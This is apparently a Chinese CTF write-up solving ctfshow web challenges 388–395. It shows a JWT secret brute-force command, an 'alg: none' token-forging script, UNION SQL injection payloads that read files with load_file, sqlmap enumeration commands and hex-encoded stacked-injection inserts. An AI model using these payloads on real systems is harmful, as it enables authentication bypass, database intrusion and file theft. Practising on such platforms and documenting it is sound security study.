ctfshow黑盒测试后半部分

web388

不用在意,我们用已知条件解出来了已知的数据

这个路径算是已知条件但是dirsearch扫不出来

访问后看到是一个编辑器

存在文件上传页面,我们可以尝试上传一句话木马进去

这个路径不用多说一直都是在这

web389

多了一个jwt

直接爆破

复制代码
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3NTU2MTY4MiwiZXhwIjoxNzc1NTY4ODgyLCJuYmYiOjE3NzU1NjE2ODIsInN1YiI6InVzZXIiLCJqdGkiOiJhODZlZmQ3YWJjNjFkYTgyN2FhZmJhOWI1OTk5MmFiZSJ9.nwBTnSuYR-EtW1WMVL7FvslyecM_mxBQoD1J9_mOP8w -C -d /usr/share/wordlists/rockyou.txt

之后都是一样的步骤

看到这个页面就是代表成功写入了

成功获取flag

web390

还是需要jwt伪造但是这次的密钥爆不出来了

换个方法,把alg改为none,sub改为admin,然后重新编码token,如果后端没有对算法进行验证,那么就可以成功绕过了

用python脚本实现,记得要先用自己jwt解码的payload复制替换dict,然后更改user为admin

复制代码
import jwt

payload = {
  "iss": "admin",
  "iat": 1775626036,
  "exp": 1775633236,
  "nbf": 1775626036,
  "sub": "admin",
  "jti": "f33fe6c9fb6a48be6192e55daabd2cdc"
}

headers = {
    "alg": "none",
    "typ": "JWT"
}

jwt_token = jwt.encode(payload, key='', headers=headers, algorithm="none")

print(jwt_token)

成功

web391

点击灯泡往事

经测试存在字符型注入,为单引号,且#被过滤

也可以按照上一题的思路来,但是我觉得没必要,这个算是非预期

复制代码
-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -

查看源代码可以看到flag

web392

复制代码
search.php?title=-1%27+union+select+1%2C2%2Csubstr%28%28select+load_file%28%27%2Fflag%27%29%29%2C1%2C255%29--+-

还是跟上一题一样的

但是flag在的位置变了在根目录下,也是可以JWT伪造的,一样的

web393

最底下有一个搜索引擎

随便点一个看到url

修改网页id值,又显示其他页面

因此可以判断这里存储的是网页链接,通过传入的id值查询数据库中的url并进行访问

复制代码
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch

接着利用堆叠注入插入数据

复制代码
search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');
最后访问/link.php?id=11即可
#  ': 关键的闭合符号。它告诉数据库:原本的查询到此结束。
#;: 结束符号。在支持堆叠查询的数据库(如 MySQL、PostgreSQL)中,; 
#允许你在第一条语句后面紧跟第二条完全不同的 SQL 语句
#insert into link(...): 攻击者不再只是"查询"数据,而是尝试向数据库的 link 表中插入一行新数据。
#values(11,'a',...): 设置 ID 为 11,名称为 'a'

还是根目录啊,问我怎么知道的,jwt伪造也能做,查看根目录下的

web394

复制代码
search.php?title=1';insert into link(id, name, url)
values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可

记得在前面加个0x表示16进制

这次不在根目录/flag了,而是在网站目录的alsckdfy/check.php里面

访问/link.php?id=10

复制代码
<!--?php
  
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justshow'){
	die('授权码错误');
}
$flag='ctfshow{d8fb3db8-3255-4a0f-add5-04ba423b86eb}';
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn--->

web395

解法跟上一题一样

复制代码
<!--?php
  
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justsoso'){
	die('授权码错误');
}
$flag='ctfshow{53d2a7ef-17e0-4efd-a035-b2c110802976}';
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn--->
相关推荐
无心使然云中漫步3 分钟前
Openlayers调用ArcGis地图服务之五 —— 要素识别(/identify)
前端·arcgis·vue·数据可视化
zhensherlock14 分钟前
Protocol Launcher 系列:Beorg 高效任务管理的协议支持
前端·javascript·typescript·node.js·自动化·github·js
ppandss116 分钟前
JavaWeb从0到1-DAY3.1- Vue(ii)
前端·javascript·vue.js
M ? A16 分钟前
Vue 转 React | VuReact编译工具快速入门
前端·javascript·vue.js·后端·react.js·面试·vureact
qq_4275398318 分钟前
iframe 嵌入预览 PDF ,禁用右键菜单、打印下载按钮不展示
前端·javascript·vue.js·pdf
yu859395821 分钟前
降低OFDM系统PAPR的各种算法及误码率分析
前端·算法
ZC跨境爬虫22 分钟前
跟着 MDN 学 HTML day_3:(表单CSS美化实战与盒子模型三大核心属性详解)
前端·javascript·css·html
张风捷特烈31 分钟前
状态管理大乱斗#05 | Riverpod 源码评析 (中) - 上层建筑
android·前端·flutter
土豆125034 分钟前
Rust 生命周期开发实战:从"编译不过"到"一次过编"的实用指南
前端·rust